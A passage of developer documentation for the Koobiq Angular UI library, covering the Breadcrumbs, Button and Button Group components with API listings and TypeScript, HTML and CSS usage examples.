| Right Arrow \ Left Arrow | Move through items: Allows navigation through the breadcrumb items forward or backward. When reaching the end or start of the list, the cursor cyclically moves to the opposite end.                                                                                                                                                                                                                          |
| Bottom Arrow             | Expanding a dropdown list: if the current item contains a nested list, it will be expanded.                                                                                                                                                                                                                                                                                                                   |
| Home                     | Go to start: moves the focus to the first navigation item.                                                                                                                                                                                                                                                                                                                                                    |
| End                      | Go to end: moves the focus to the last focusable navigation item. The item of the current page is not focusable, so the focus lands on the one before it.                                                                                                                                                                                                                                                     |

### API

#### Components

##### KbqBreadcrumbItem (component)

Component represents an individual breadcrumb item with optional support for router navigation and styling.

```ts
@Component({ selector: 'kbq-breadcrumb-item' })
class KbqBreadcrumbItem {
    readonly text = input<string>('');
    readonly disabled = input<boolean>(false);
    readonly current = input<boolean>(false);
    readonly customTemplateRef: Signal<TemplateRef<unknown> | undefined>;
    readonly routerLink: RouterLink | null;
}
```

- `[text]`: `string` — The text displayed for the breadcrumb item.
  This text will be shown if breadcrumb item is hidden in dropdown.
- `[disabled]`: `boolean` — Indicates whether the breadcrumb item is disabled.
- `[current]`: `boolean` — Indicates whether the breadcrumb item is the current/active item, which the trail exposes as
  `aria-current="page"`. The last item of a trail is current regardless of this input.
- `customTemplateRef`: `Signal<TemplateRef<unknown> | undefined>` — A reference to a custom template provided for the breadcrumb item content.
  The template can be used to override the default appearance of the breadcrumb.
- `routerLink`: `RouterLink | null` — An optional `RouterLink` instance for navigating to a specific route.
  Injected from the host element, if available and projecting to the hidden breadcrumb item in dropdown.

##### KbqBreadcrumbs (component)

```ts
@Component({ selector: 'kbq-breadcrumbs,[kbq-breadcrumbs]' })
class KbqBreadcrumbs {
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly firstItemNegativeMargin = input<boolean>(
        this.configuration.firstItemNegativeMargin
    );
    readonly size = input<KbqDefaultSizes>(this.configuration.size);
    readonly max = input<number | null>(this.configuration.max);
    readonly disabled = input<boolean>(false);
    readonly wrapMode = input<KbqBreadcrumbsWrapMode>(
        this.configuration.wrapMode
    );
}
```

- `[aria-label]`: `string | null` — Accessible name of the navigation landmark. Set it whenever a page renders more than one trail, so
  assistive technology can tell them apart. Left unset, the name comes from the active locale.
- `[firstItemNegativeMargin]`: `boolean` — Determines if a negative margin should be applied to the first breadcrumb item. The default comes from
  `KbqBreadcrumbsConfiguration`.
- `[size]`: `KbqDefaultSizes` — Size of the breadcrumbs. Affects font size.
  Default value is taken from the global configuration.
- `[max]`: `number | null` — Maximum number of visible breadcrumb items.
  Remaining items are collapsed into a dropdown if the total exceeds this value.
  Default value is taken from the global configuration.
- `[disabled]`: `boolean` — Indicates whether the breadcrumbs are disabled.
  When disabled, every item and the expand button stop navigating and leave the tab order.
- `[wrapMode]`: `KbqBreadcrumbsWrapMode` — Wrapping behavior of the breadcrumb items.
- `[dir]`: `Direction | null` — Reading direction the arrow keys are mapped against, written onto the host as `dir`. Left unset,
  no attribute is emitted — the element inherits the document direction, and the key mapping follows
  the ambient CDK `Directionality`.
- `[loop]`: `boolean` — Whether the arrow keys wrap around, from the last item to the first and back.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

#### Directives

##### KbqBreadcrumbButton (directive)

Directive to style and configure buttons used as breadcrumb items.
- Takes part in the roving focus of `KbqBreadcrumbs`: the arrow keys move between the items.
- Optionally injects `KbqButton` to customize its style for breadcrumb usage.
- Sets `type="button"` on a `<button>` host, so a breadcrumb never submits a surrounding form.

```ts
@Directive({ selector: '[kbq-button][kbqBreadcrumb]' })
class KbqBreadcrumbButton {}
```

- `[focusable]`: `boolean` — Whether the item takes part in the roving focus. The arrow keys skip an item that does not, and a click
  does not focus it.

##### KbqBreadcrumbsSeparator (directive)

```ts
@Directive({ selector: 'ng-template[kbqBreadcrumbsSeparator]' })
class KbqBreadcrumbsSeparator {
    readonly templateRef: TemplateRef<unknown>;
}
```

##### KbqBreadcrumbView (directive)

Directive provides a way to define a custom template for breadcrumb rendering, leveraging TemplateRef

```ts
@Directive({ selector: '[kbqBreadcrumbView]' })
class KbqBreadcrumbView {
    readonly templateRef: TemplateRef<unknown>;
}
```

#### Types

##### KbqBreadcrumbsConfiguration (type)

```ts
type KbqBreadcrumbsConfiguration = {
    max: number | null;
    size: KbqDefaultSizes;
    firstItemNegativeMargin: boolean;
    wrapMode: KbqBreadcrumbsWrapMode;
};
```

- `max`: `number | null` — Specifies the maximum number of breadcrumb items to display.
  - If a number is provided, only that many items will be shown.
  - If `null`, no limit is applied, and all breadcrumb items are displayed.
- `firstItemNegativeMargin`: `boolean` — Determines if a negative margin should be applied to the first breadcrumb item.
- `wrapMode`: `KbqBreadcrumbsWrapMode` — Manages breadcrumb items when space is limited:
  - `auto`: Adjusts based on space and item count.
  - `wrap`: Moves items to the next line if needed.
  - `none`: Prevents wrapping, allowing overflow.

##### KbqBreadcrumbsWrapMode (type)

```ts
type KbqBreadcrumbsWrapMode = 'auto' | 'wrap' | 'none';
```

##### KbqRovingFocusOrientation (type)

Axis a roving-focus group navigates along.

```ts
type KbqRovingFocusOrientation = 'horizontal' | 'vertical';
```

#### Constants

##### KBQ_BREADCRUMBS_CONFIGURATION (const)

Breadcrumbs options global configuration provider.

```ts
const KBQ_BREADCRUMBS_CONFIGURATION: InjectionToken<KbqBreadcrumbsConfiguration>;
```

##### kbqBreadcrumbsConfigurationProvider (const)

Utility provider for `KBQ_BREADCRUMBS_CONFIGURATION`.

```ts
const kbqBreadcrumbsConfigurationProvider: (
    configuration: Partial<KbqBreadcrumbsConfiguration>
) => Provider;
```

### Examples

#### Selectable Text

Uses a custom template to allow text selection and provide a one-click copy action on the current breadcrumb item.

**Example: Breadcrumbs selectable text** (`breadcrumbs-selectable-text`)

```ts breadcrumbs-selectable-text-example.ts
import { Clipboard } from '@angular/cdk/clipboard';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'breadcrumbs-selectable-text-example',
    imports: [
        RouterLink,
        KbqButtonModule,
        KbqIconModule,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav kbq-breadcrumbs [firstItemNegativeMargin]="false">
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item [routerLink]="breadcrumb.url" [text]="breadcrumb.label">
                    <a
                        *kbqBreadcrumbView
                        tabindex="-1"
                        kbq-button
                        kbqBreadcrumb
                        [focusable]="!$last"
                        [routerLink]="breadcrumb.url"
                        [disabled]="$last"
                        [attr.aria-current]="$last ? 'page' : null"
                    >
                        <span class="example__selectable-label">{{ breadcrumb.label }}</span>
                        <div class="example-item__copy-icon" (click)="copyToClipboard($event, breadcrumb.label)">
                            <i kbq-icon="kbq-square-multiple-o_16"></i>
                        </div>
                    </a>
                </kbq-breadcrumb-item>
            }
        </nav>
    `,
    styles: [
        `
            .example__selectable-label {
                -webkit-user-select: text;
                user-select: text;
            }

            .example-item__copy-icon {
                position: absolute;
                right: 0;
                top: 0;
                bottom: 0;
                display: flex;
                align-items: center;
                padding: 0 var(--kbq-size-xs);
                background: linear-gradient(
                    to right,
                    transparent,
                    var(--kbq-background-overlay-inverse) var(--kbq-size-s)
                );
                border-radius: var(--kbq-size-xxs);
                opacity: 0;
                pointer-events: none;
                transition: opacity 0.2s ease;
            }

            a:hover .example-item__copy-icon,
            a:focus-visible .example-item__copy-icon {
                opacity: 1;
                pointer-events: auto;
            }
        `
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsSelectableTextExample {
    private readonly clipboard = inject(Clipboard, { optional: true });

    protected readonly breadcrumbs = [
        { label: 'Information Security', url: '/information-security' },
        { label: 'Access Control', url: '/information-security/access-control' },
        { label: 'Authorization', url: '/information-security/access-control/authorization' },
        { label: 'RBAC', url: '/information-security/access-control/authorization/rbac' },
        { label: 'Roles', url: '/information-security/access-control/authorization/rbac/roles' }
    ];

    protected copyToClipboard(event: MouseEvent, text: string): void {
        event.preventDefault();
        event.stopImmediatePropagation();
        this.clipboard?.copy(text);
    }
}
```

#### Working with Routing

This example demonstrates how to dynamically generate breadcrumbs based on the current route.
It uses a subscription to [`router`](https://angular.dev/api/router/Router) events to track changes and build the navigation structure.

**Example: Breadcrumbs Routing** (`breadcrumbs-routing`)

```ts breadcrumbs-routing-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { ActivatedRoute, Router, RouterLink } from '@angular/router';
import { KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';

@Component({
    selector: 'breadcrumbs-routing-example',
    imports: [
        RouterLink,
        KbqBreadcrumbsModule
    ],
    template: `
        <nav kbq-breadcrumbs>
            @for (breadcrumb of breadcrumbs; track breadcrumb) {
                <kbq-breadcrumb-item [routerLink]="breadcrumb.url" [text]="breadcrumb.label" />
            }
        </nav>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class BreadcrumbsRoutingExample {
    readonly router = inject(Router);
    readonly activatedRoute = inject(ActivatedRoute);
    breadcrumbs: { label: string; url: string }[] = this.buildBreadcrumbs(this.activatedRoute.root);

    /* react on dynamic changes on routing events. Cannot possible to show in docs
    breadcrumbs: Observable<{ label: string; url: string }[]>;
    constructor() {
        this.breadcrumbs = this.router.events.pipe(
            filter((event) => event instanceof NavigationEnd),
            map(() => this.buildBreadcrumbs(this.activatedRoute.root)),
            takeUntilDestroyed()
        );
    }*/

    private buildBreadcrumbs(
        route: ActivatedRoute,
        url: string = '',
        breadcrumbs: { label: string; url: string }[] = []
    ): { label: string; url: string }[] {
        const children: ActivatedRoute[] = route.children;

        if (children.length === 0) {
            return breadcrumbs;
        }

        children.forEach((child) => {
            const routeURL: string = child.snapshot.url.map((segment) => segment.path).join('/');

            if (routeURL) {
                url += `/${routeURL}`;
            }

            const label =
                child.snapshot.data['breadcrumb'] ||
                (child.snapshot.url.length && child.snapshot.url[0].path) ||
                'test';

            if (label) {
                breadcrumbs.push({ label, url });
            }

            return this.buildBreadcrumbs(child, url, breadcrumbs);
        });

        return breadcrumbs;
    }
}
```

## Button

- Entry point: `@koobiq/components/button`
- NgModule: `KbqButtonModule`
- Page: https://koobiq.io/en/components/button/overview

### Overview

Used to trigger actions.

**Example: Button overview** (`button-overview`)

```ts button-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-overview-example',
    imports: [
        KbqButtonModule,
        KbqCheckboxModule,
        FormsModule
    ],
    template: `
        <button
            class="example-overview__button"
            kbq-button
            [class.kbq-progress]="hasProgress"
            [color]="colors.Contrast"
            [disabled]="isDisabled"
        >
            Кнопка
        </button>
        <br />
        <kbq-checkbox [(ngModel)]="isDisabled">disabled</kbq-checkbox>
        <kbq-checkbox [(ngModel)]="hasProgress">progress</kbq-checkbox>
    `,
    styleUrls: ['button-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonOverviewExample {
    colors = KbqComponentColors;
    isDisabled = false;
    hasProgress = false;
}
```

```css button-overview-example.css
.example-overview__button.kbq-button {
    margin-bottom: 16px;
    align-self: start;
}

.kbq-checkbox {
    margin-right: 16px;
}

.kbq-checkbox:last-of-type {
    margin-right: 0;
}
```

#### Fill and Style

**Example: Button fill and style** (`button-fill-and-style`)

```ts button-fill-and-style-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-fill-and-style-example',
    imports: [
        KbqButtonModule
    ],
    templateUrl: 'button-fill-and-style-example.html',
    styleUrls: ['button-fill-and-style-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonFillAndStyleExample {
    colors = KbqComponentColors;
    styles = KbqButtonStyles;
}
```

```html button-fill-and-style-example.html
<div class="example-fill-and-style__button-group">
    <div class="example-button">
        <div class="example-label kbq-text-compact">Filled Contrast</div>
        <button kbq-button [color]="colors.Contrast">Кнопка</button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Filled Fade Contrast</div>
        <button kbq-button>Кнопка</button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Outline Fade Theme</div>
        <button kbq-button [color]="colors.ThemeFade" [kbqStyle]="styles.Outline">Кнопка</button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Outline Fade Contrast</div>
        <button kbq-button [color]="colors.ContrastFade" [kbqStyle]="styles.Outline">Кнопка</button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Transparent Theme</div>
        <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">Кнопка</button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Transparent Contrast</div>
        <button kbq-button [color]="colors.Contrast" [kbqStyle]="styles.Transparent">Кнопка</button>
    </div>
</div>
```

```css button-fill-and-style-example.css
.example-fill-and-style__button-group {
    display: inline-flex;
    flex-direction: row;
    gap: 32px;
    flex-wrap: wrap;
    max-width: 480px;
}

.example-label {
    margin-bottom: 12px;
}

.example-fill-and-style__button-group .example-button {
    width: 128px;
}
```

**Example: button-fill-and-style-only-icon** (`button-fill-and-style-only-icon`)

```ts button-fill-and-style-only-icon-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-fill-and-style-only-icon-example',
    imports: [
        KbqButtonModule,
        KbqIconModule
    ],
    templateUrl: 'button-fill-and-style-only-icon-example.html',
    styleUrls: ['button-fill-and-style-only-icon-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonFillAndStyleOnlyIconExample {
    colors = KbqComponentColors;
    styles = KbqButtonStyles;
}
```

```html button-fill-and-style-only-icon-example.html
<div class="example-fill-and-style__button-group">
    <div class="example-button">
        <div class="example-label kbq-text-compact">Filled Contrast</div>
        <button kbq-button aria-label="Add" [color]="colors.Contrast"><i kbq-icon="kbq-plus_16"></i></button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Filled Fade Contrast</div>
        <button kbq-button aria-label="Add"><i kbq-icon="kbq-plus_16"></i></button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Outline Fade Theme</div>
        <button kbq-button aria-label="Add" [color]="colors.ThemeFade" [kbqStyle]="styles.Outline">
            <i kbq-icon="kbq-plus_16"></i>
        </button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Outline Fade Contrast</div>
        <button kbq-button aria-label="Add" [color]="colors.ContrastFade" [kbqStyle]="styles.Outline">
            <i kbq-icon="kbq-plus_16"></i>
        </button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Transparent Theme</div>
        <button kbq-button aria-label="Add" [color]="colors.Theme" [kbqStyle]="styles.Transparent">
            <i kbq-icon="kbq-plus_16"></i>
        </button>
    </div>
    <div class="example-button">
        <div class="example-label kbq-text-compact">Transparent Contrast</div>
        <button kbq-button aria-label="Add" [color]="colors.Contrast" [kbqStyle]="styles.Transparent">
            <i kbq-icon="kbq-plus_16"></i>
        </button>
    </div>
</div>
```

```css button-fill-and-style-only-icon-example.css
.example-fill-and-style__button-group {
    display: inline-flex;
    flex-direction: row;
    gap: 32px;
    flex-wrap: wrap;
    max-width: 480px;
}

.example-label {
    margin-bottom: 12px;
}

.example-fill-and-style__button-group .example-button {
    width: 128px;
}
```

#### Content

**Example: Button content** (`button-content`)

```ts button-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'button-content-example',
    imports: [
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <div class="example-content__button-group">
            <div class="example-button">
                <div class="example-label kbq-text-compact">Text</div>
                <button kbq-button [color]="colors.Contrast">Кнопка</button>
            </div>
            <div class="example-button">
                <div class="example-label kbq-text-compact">Icon+Text</div>
                <button kbq-button [color]="colors.Contrast">
                    <i kbqButtonPrefix kbq-icon="kbq-plus_16"></i>
                    Кнопка
                </button>
            </div>
            <div class="example-button">
                <div class="example-label kbq-text-compact">Text+Icon</div>
                <button kbq-button [color]="colors.Contrast">
                    Кнопка
                    <i kbqButtonSuffix kbq-icon="kbq-plus_16"></i>
                </button>
            </div>
            <div class="example-button">
                <div class="example-label kbq-text-compact">Icon+Text+Icon</div>
                <button kbq-button [color]="colors.Contrast">
                    <i kbqButtonPrefix kbq-icon="kbq-plus_16"></i>
                    Кнопка
                    <i kbqButtonSuffix kbq-icon="kbq-plus_16"></i>
                </button>
            </div>
            <div class="example-button">
                <div class="example-label kbq-text-compact">Slots (order-independent)</div>
                <button kbq-button [color]="colors.Contrast">
                    <i kbqButtonSuffix kbq-icon="kbq-plus_16"></i>
                    Кнопка
                    <i kbqButtonPrefix kbq-icon="kbq-plus_16"></i>
                </button>
            </div>
        </div>
    `,
    styleUrls: ['button-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonContentExample {
    colors = KbqComponentColors;
}
```

```css button-content-example.css
.example-content__button-group {
    display: inline-flex;
    flex-wrap: wrap;
    gap: 32px;
}

.example-content__button-group .example-button {
    width: 128px;
}

.example-label {
    white-space: nowrap;
    margin-bottom: 12px;
}
```

When a button holds only an icon, give it a name with `aria-label` or `aria-labelledby`. Use [Icon Button](https://koobiq.io/en/components/icon-button.md) if you need an icon button without a background.

#### Corner cases

Depending on the content requirements, a button can take the following width values:

Hug — the button width depends on the length of the text inside and equals the text width plus the side paddings up to the button edges.

**Example: Button hug content** (`button-hug-content`)

```ts button-hug-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-hug-content-example',
    imports: [
        KbqButtonModule
    ],
    template: `
        <button class="example-hug-content__button" kbq-button [color]="colors.Contrast">Текст кнопки</button>
        &nbsp;
        <br />
        <button class="example-hug-content__button" kbq-button [color]="colors.Contrast">
            Очень длинный текст кнопки
        </button>
        &nbsp;
    `,
    styleUrls: ['button-hug-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonHugContentExample {
    colors = KbqComponentColors;
}
```

```css button-hug-content-example.css
.example-hug-content__button {
    margin-bottom: 16px;
}

.example-hug-content__button:last-of-type {
    margin-bottom: 0;
}
```

Fixed — the button width is fixed and does not depend on the length of the text. If the text does not fit, it is truncated with an ellipsis. Do not forget about the inner paddings.

**Example: Button fixed content** (`button-fixed-content`)

```ts button-fixed-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-fixed-content-example',
    imports: [
        KbqButtonModule
    ],
    template: `
        <div class="example-fixed-content__button-group">
            <button class="example-fixed-content__button" kbq-button [color]="colors.Contrast">Текст кнопки</button>
            &nbsp;
            <br />
            <button class="example-fixed-content__button" kbq-button [color]="colors.Contrast">
                Очень длинный текст кнопки
            </button>
            &nbsp;
        </div>
    `,
    styleUrls: ['button-fixed-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonFixedContentExample {
    colors = KbqComponentColors;
}
```

```css button-fixed-content-example.css
.example-fixed-content__button-group {
    width: 150px;
    display: flex;
    flex-direction: column;
}
```

Fill — the button adapts to the width of the block it is placed in. If the width of the block changes (for example, of a modal window), the width of the button changes too. The text inside such a button behaves the same way as in Fixed.

**Example: Button fill content** (`button-fill-content`)

```ts button-fill-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-fill-content-example',
    imports: [
        KbqButtonModule
    ],
    template: `
        <button class="example-fill-content__button" kbq-button [color]="colors.Contrast">
            Очень длинный текст кнопки, который обрезается по ширине
        </button>
    `,
    styleUrls: ['button-fill-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonFillContentExample {
    colors = KbqComponentColors;
}
```

```css button-fill-content-example.css
.example-fill-content__button {
    width: 100%;
}
```

If processing an action takes more than 1–2 seconds, the progress indication ("loading") can be used. It shows that the system is processing data.

**Example: Button loading state** (`button-loading-state`)

```ts button-loading-state-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-loading-state-example',
    imports: [
        KbqButtonModule
    ],
    template: `
        <button class="kbq-progress" kbq-button [color]="colors.Contrast">Кнопка</button>
        &nbsp;
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ButtonLoadingStateExample {
    colors = KbqComponentColors;
}
```

### API

#### Components

##### KbqButton (component)

```ts
@Component({ selector: '[kbq-button]' })
class KbqButton extends KbqColorDirective<KbqButtonColor> implements KbqTitleTextRef {
    kbqStyle = input<KbqButtonStyleInput | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    hasFocus: boolean;
    get textElement(): ElementRef<HTMLElement>;
    get parentTextElement(): ElementRef<HTMLElement>;
    haltDisabledEvents: (event: Event) => void;
    get colorClassName(): string;
    onFocus(): void;
    onBlur(): void;
    getHostElement(): HTMLElement;
    focus(): void;
    focusViaKeyboard(): void;
    projectContentChanged(): void;
    setDefaultColor(color: T): void;
}
```

- `[kbqStyle]`: `KbqButtonStyleInput | null | undefined` — Visual style of the button. Setting it to a value marks that value as owned by the button, so
  a surrounding `KbqButtonGroupRoot` no longer overrides it.

  Reads back as the resulting host class rather than the value that was set, because the host
  `[class]` binding is what consumes it.
- `[disabled]`: `boolean | undefined` — Whether the button is disabled. A surrounding `KbqButtonGroupRoot` can disable the button in
  addition to this input, but never re-enables a button disabled through it.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `textElement`: `ElementRef<HTMLElement>` — The text box of the button, measured by `kbq-title`. Always rendered by the template.
- `parentTextElement`: `ElementRef<HTMLElement>` — The flex row that lays out the icons and text, used as the overflow width constraint.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqButtonGroup (component)

Groups and styling related `KbqButton`s into a single visual unit.

```ts
@Component({ selector: 'kbq-button-group, [kbq-button-group]' })
class KbqButtonGroup {
    readonly orientation = input<KbqOrientation>('horizontal');
}
```

- `[orientation]`: `KbqOrientation` — Layout direction: `'horizontal'` or `'vertical'`. Defaults to `'horizontal'`.

#### Directives

##### KbqButtonCssStyler (directive)

Applies the `kbq-button`/`kbq-button-icon` host class and the left/right icon modifier classes.

A button is treated as an icon button when its projected content consists only of `KbqIcon`s
and there are at most 2 of them. When icons are mixed with other content, only the outermost
icons receive the left/right classes.

Must be used together with `KbqButton` (both match `[kbq-button]`): icon detection relies on
the `.kbq-button-wrapper` element rendered by the component's template.

```ts
@Directive({ selector: '[kbq-button]' })
class KbqButtonCssStyler {
    readonly icons: Signal<readonly KbqIcon[]>;
    readonly nativeElement: HTMLElement;
    get isIconButton(): boolean;
    get hasNoLabel(): boolean;
    updateClassModifierForIcons(): void;
}
```

- `isIconButton`: `boolean` — Whether the button contains only icons (at most 2).
- `hasNoLabel`: `boolean` — Whether the projected label holds no text at all, e.g. an icon-only button.

##### KbqButtonDropdownTrigger (directive)

This directive enhances `kbq-button` elements acting as dropdown triggers,
visually indicating the active state with the `kbq-active` class,
following Koobiq Design System.

The directive relies on a separate `KbqDropdownTrigger` directive to get dropdown's state.

```ts
@Directive({ selector: '[kbq-button][kbqDropdownTriggerFor]' })
class KbqButtonDropdownTrigger {
    dropdownTrigger: KbqDropdownTrigger;
}
```

##### KbqButtonGroupRoot (directive)

Root directive that groups related buttons,
propagating a shared style, color, and disabled state to every nested button

```ts
@Directive({ selector: '[kbqButtonGroupRoot]' })
class KbqButtonGroupRoot extends KbqColorDirective<KbqButtonColor> {
    kbqStyle = input<KbqButtonStyleInput | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[kbqStyle]`: `KbqButtonStyleInput | null | undefined` — Style applied to the group and propagated to every nested button.
  A button that sets its own `kbqStyle` keeps it.
- `[disabled]`: `boolean | undefined` — Whether the root is disabled. Disabling the group disables every nested button; re-enabling it
  leaves buttons that are disabled through their own input untouched.

  Stays `undefined` while the input is unbound so that nested buttons are not force-enabled.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqButtonPrefix (directive)

Marks content to be projected into the prefix (leading) slot of a button.

```ts
@Directive({ selector: '[kbqButtonPrefix]' })
class KbqButtonPrefix {}
```

##### KbqButtonSuffix (directive)

Marks content to be projected into the suffix (trailing) slot of a button.

```ts
@Directive({ selector: '[kbqButtonSuffix]' })
class KbqButtonSuffix {}
```

#### Types

##### KbqButtonColor (type)

Colors a button can be rendered in, as an enum member or its plain string form.

A narrower set than `KbqComponentColors`: the design system pairs each color with a subset of
the styles (`filled` with `contrast`/`contrast-fade`, `outline` with `theme-fade`/`contrast-fade`,
`transparent` with `theme`/`contrast`), and defines no button appearance for the status colors.
A pair the design system does not define falls back to the style's default color rather than
leaving the button unstyled.

```ts
type KbqButtonColor = KbqEnumValues<
    | KbqComponentColors.Theme
    | KbqComponentColors.ThemeFade
    | KbqComponentColors.Contrast
    | KbqComponentColors.ContrastFade
>;
```

##### KbqButtonStyle (type)

Visual style of a button, as an enum member or its plain string form.

```ts
type KbqButtonStyle = KbqEnumValues<KbqButtonStyles>;
```

##### KbqButtonStyleInput (type)

Value accepted by the `kbqStyle` input: one of the built-in styles, or a custom string that is
applied verbatim as the `kbq-button_<value>` host class and themed by whoever sets it —
`kbq-filter-bar` defines its `changed-filter` style that way. A custom style is not covered by
`kbq-button-theme()` and takes the `filled` default color.

```ts
type KbqButtonStyleInput = KbqButtonStyle | (string & {});
```

#### Enums

##### KbqButtonStyles (enum)

Visual style of a button.

```ts
enum KbqButtonStyles {
    Filled = 'filled',
    Outline = 'outline',
    Transparent = 'transparent'
}
```

#### Constants

##### buttonLeftIconClassName (const)

Class set on a button host whose first visible child is an icon.

Public CSS hook: consumed by `dropdown.scss` to detect an icon-only dropdown trigger.

```ts
const buttonLeftIconClassName: string;
```

##### buttonRightIconClassName (const)

Class set on a button host whose last visible child is an icon.

Public CSS hook: consumed by `dropdown.scss` to detect an icon-only dropdown trigger.

```ts
const buttonRightIconClassName: string;
```

## Button Group

- Entry point: `@koobiq/components/button`
- NgModule: `KbqButtonModule`
- Page: https://koobiq.io/en/components/button-group/overview

### Overview

Button Group combines multiple buttons to emphasize their close relationship.

**Example: Button group overview** (`button-group-overview`)

```ts button-group-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';

@Component({
    selector: 'button-group-overview-example',
    imports: [KbqButtonModule],
    template: `
        <div kbq-button-group>
            @for (item of data; track item) {
                <button kbq-button>
                    {{ item }}
                </button>
            }
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-xl'
    }
})
export class ButtonGroupOverviewExample {
    protected readonly data = [
        'Archive',
        'Report',
        'Snooze'
    ] as const;

    protected readonly color = KbqComponentColors.ContrastFade;
    protected readonly style = KbqButtonStyles.Filled;
}
```

#### Style

The entire group is styled uniformly.

**Example: Button group style** (`button-group-style`)

```ts button-group-style-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyle, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'button-group-style-example',
    imports: [
        KbqButtonModule,
        KbqIcon
    ],
    template: `
        @for (style of buttonStyles; track style) {
            <div class="layout-row layout-gap-xl">
                <div kbq-button-group [color]="style.color" [kbqStyle]="style.appearance">
                    @for (item of data; track item) {
                        <button kbq-button>
                            {{ item }}
                        </button>
                    }
                </div>

                <div kbq-button-group [color]="style.color" [kbqStyle]="style.appearance">
                    @for (item of data; track item) {
                        <button kbq-button aria-label="Diamond icon">
                            <i kbq-icon="kbq-diamond_16"></i>
                        </button>
                    }
                </div>
            </div>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-xl'
    }
})
export class ButtonGroupStyleExample {
    protected readonly data = [
        'Archive',
        'Report',
        'Snooze'
    ] as const;

    protected readonly buttonStyles: { color: KbqButtonColor; appearance: KbqButtonStyle; gap?: boolean }[] = [
        { color: KbqComponentColors.Contrast, appearance: KbqButtonStyles.Filled },
